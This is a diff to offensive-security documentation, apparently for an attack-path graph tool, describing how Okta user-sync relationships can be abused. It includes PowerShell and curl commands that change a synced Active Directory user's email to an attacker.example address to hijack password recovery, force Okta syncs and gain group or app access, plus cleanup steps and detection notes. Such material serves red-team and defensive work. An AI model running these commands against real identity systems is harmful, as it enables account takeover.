+ ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +## Opsec Considerations + +Okta and the downstream application can both record provisioning activity. Relevant Okta events include application user membership changes and provisioning events such as `application.provision.user.push`, `application.provision.user.push_profile`, `application.provision.user.update`, `application.provision.user.deactivate`, and `application.provision.user.reactivate`. + +Profile changes made shortly before a provisioning sync are easy to correlate. Pushing unusual values to high-value SaaS applications, reactivating dormant downstream accounts, or repeatedly forcing app-user syncs can stand out in both Okta and destination application logs. + +## References + +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta User API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/User/) +- [Okta User Lifecycle API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_UserSync.md b/descriptions/edges/Okta_UserSync.md index 3ea406c..4636947 100644 --- a/descriptions/edges/Okta_UserSync.md +++ b/descriptions/edges/Okta_UserSync.md @@ -1,18 +1,221 @@ ## General Information -The non-traversable hybrid Okta_UserSync edges represent bidirectional user synchronization relationships between Okta and external directories or applications. These edges indicate that user accounts are linked and synchronized between systems. +The non-traversable hybrid Okta_UserSync edges represent user synchronization relationships between Okta and external directories or applications. These edges indicate that user accounts are linked and synchronized between systems, but they do not by themselves prove password, session, or administrative control. ```mermaid graph LR subgraph ad["Active Directory"] - adu1("User john\@contoso.com") + adu1("AD_User john\@contoso.com") end subgraph okta["Okta"] u1("Okta_User john\@contoso.com") adu1 -. Okta_UserSync .-> u1 end - subgraph snowflake["Snowflake"] - snu1("SNOW_User john\@contoso.com") - u1 -. Okta_UserSync .-> snu1 + subgraph target["Downstream App or Org"] + extu1("External_User john\@contoso.com") + u1 -. Okta_UserSync .-> extu1 end ``` + +## Abuse Info + +This edge means the source and destination users are linked by a synchronization relationship. It is not always directly abusable, but an attacker who controls the authoritative source user or source system can often influence the destination user's profile, lifecycle state, app assignment state, or group-rule inputs. + +The first step is determining which side masters the attribute needed for the attack path. Inbound examples include Active Directory or HR systems updating Okta users. Outbound examples include Okta pushing user profile data to AD, another Okta org, or a SaaS application. For credential takeover, look for a parallel `Okta_PasswordSync`, `Okta_InboundSSO`, `Okta_IdentityProviderFor`, `Okta_ResetPassword`, or MFA-reset edge; `Okta_UserSync` alone shows identity linkage. + +Using an authoritative source system: + +1. Identify the source system and destination user represented by the edge. +2. Determine which attributes are synchronized and which system is authoritative for each attribute. +3. Change a source attribute that affects the destination path, such as email, login, username, department, manager, title, status, or group-rule inputs. +4. Trigger synchronization through the source connector or wait for the scheduled cycle. +5. Verify the destination user changed. +6. Continue with the edge unlocked by the change, such as receiving a reset email, satisfying a sign-on policy, entering a group rule, or gaining downstream app access. + +Using Active Directory as the source for an inbound AD-to-Okta sync: + +1. Change the AD user attributes that Okta imports. Use attributes that are actually mapped in the org. + + ```powershell + Import-Module ActiveDirectory + + $AdUserSam = "jdoe" + $TempEmail = "jdoe-reset@attacker.example" + $TempDepartment = "Finance" + + Set-ADUser -Identity $AdUserSam ` + -EmailAddress $TempEmail ` + -Department $TempDepartment + ``` + +2. Trigger the AD agent import from Okta if available, or wait for the scheduled import. + +3. Verify the destination Okta user. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export DEST_OKTA_USER_ID="00u..." + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +4. Use the changed Okta user state. For example, if the email change routes password recovery to attacker-controlled infrastructure, request a reset through the appropriate reset edge. + +Using Okta as the source for an outbound Okta-to-app or Okta-to-Org2Org sync: + +1. Set variables for the source Okta user and the synchronization application. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_OKTA_USER_ID="00u..." + export SYNC_APP_ID="0oa..." + export ORIGINAL_DEPARTMENT="Engineering" + export TEMP_DEPARTMENT="Finance" + ``` + +2. Update a mapped source attribute in Okta. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"profile\":{\"department\":\"$TEMP_DEPARTMENT\"}}" \ + "$OKTA_ORG/api/v1/users/$SOURCE_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, department: .profile.department}' + ``` + +3. Trigger app-user synchronization for the linked application user when the destination is represented by an Okta application assignment. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SYNC_APP_ID/users/$SOURCE_OKTA_USER_ID/lifecycle/sync" + ``` + +4. Verify Okta's view of the app user. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SYNC_APP_ID/users/$SOURCE_OKTA_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +5. Verify the destination account through the destination system's API or admin UI, because the destination system is the authority for whether the synced value was applied. + +If the edge links two Okta orgs through Org2Org, perform the source-side change in the source org, run or wait for the Org2Org provisioning flow, then verify the user in the target org. + +## Cleanup after Abuse + +Cleanup for `Okta_UserSync` means restoring the authoritative source user's attributes and lifecycle state, synchronizing again, and removing any destination-side group, assignment, or session state created by the temporary synced values. + +Cleanup using Admin Console: + +1. Identify the authoritative source for every changed attribute. +2. Restore those attributes in the source system, such as AD, the source Okta org, or the source SaaS application. +3. Trigger the relevant import, push, or provisioning sync where available. +4. Verify the destination user profile, lifecycle state, groups, and app assignments have reverted. +5. Manually remove destination group memberships or app assignments that were created by group rules or provisioning and did not revert. +6. Revoke sessions for the affected destination user if temporary attributes affected sign-on or authorization. + +Cleanup using API: + +1. Restore AD attributes if AD was the authoritative source. + + ```powershell + Import-Module ActiveDirectory + + $AdUserSam = "jdoe" + $OriginalEmail = "jdoe@contoso.com" + $OriginalDepartment = "Engineering" + + Set-ADUser -Identity $AdUserSam ` + -EmailAddress $OriginalEmail ` + -Department $OriginalDepartment + ``` + +2. Restore Okta source attributes if Okta was the authoritative source. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"profile\":{\"department\":\"$ORIGINAL_DEPARTMENT\"}}" \ + "$OKTA_ORG/api/v1/users/$SOURCE_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, department: .profile.department}' + ``` + +3. Trigger app-user synchronization again when the destination is an app user. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SYNC_APP_ID/users/$SOURCE_OKTA_USER_ID/lifecycle/sync" + ``` + +4. Verify the destination Okta user or app user has reverted. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +5. Remove leftover destination group membership if a synced attribute triggered a group rule. + + ```bash + export TEMP_GROUP_ID="00g..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$DEST_OKTA_USER_ID" + ``` + +6. Remove leftover destination app assignment if one was created only because of the temporary synced state. + + ```bash + export TEMP_APP_ID="0oa..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TEMP_APP_ID/users/$DEST_OKTA_USER_ID" + ``` + +7. Revoke sessions and OAuth tokens for the destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +User sync abuse creates telemetry in the source system and in Okta. Watch for source-directory attribute changes, Okta import or provisioning activity, user profile changes, app-user sync operations, group-rule membership changes, and password reset attempts that occur shortly after an imported email or login change. + +Changes to login, email, manager, department, or lifecycle state on privileged users are especially visible. If the attacker changes attributes in a source directory that defenders monitor separately from Okta, the source-system event may be the earliest detection point. + +## References + +- [Okta User API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/User/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Profile Mappings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ProfileMapping/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Microsoft Set-ADUser](https://learn.microsoft.com/en-us/powershell/module/activedirectory/set-aduser)